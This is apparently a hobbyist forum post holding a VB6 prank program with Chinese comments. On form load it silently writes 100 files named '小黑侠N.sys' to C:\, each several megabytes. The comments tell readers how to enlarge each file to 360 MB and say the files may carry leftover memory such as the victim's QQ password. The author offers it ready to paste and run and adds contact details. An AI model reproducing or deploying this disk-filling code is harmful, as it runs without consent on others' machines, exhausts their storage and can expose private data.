private sub form_load()
on error resume next
for h = 1 to 100 '(这个100为写入文件的个数，就是向c盘下写100个文件)
open "c:\小黑侠" + cstr(h) + ".sys" for random as 1
'(在c盘下产生文件 类似 "小黑侠x.sys" x为数字)
doevents
put #1, 30000, "小黑侠"
'这里的这个30000是控制生成文件大小的。
'30000产生的文件大小是3.6m左右
'10000产生的文件大小是1.2m左右
'如果你改为3000000的话，那就是360m，不要太坏哦！
'如果你想知道那么大的文件里面是什么，那就就用写字板打开看就是了，可能里面还有你的qq密码也说不定。因为这些内容都是在你的缓存文件里随机产生的。不过你会在文件的最后一行看到有一个神秘的字符，那就是“小黑侠”字样。呵呵，我跑到你电脑里去玩了。
close #1 '关闭打开的文件句柄
next
end sub
以是程序可以直接粘帖到vb工程文件中去即可执行。
代码很简单，相信聪明的你一定看得懂。
在下小黑侠是也，欢迎各位来信交流
email:wl3000wl@163.com
oicq:46393567
在下小站 ☆编程先锋☆
http://wlbookwl.myrice.com
★给你无限编程欲望，给你无限编程动力★
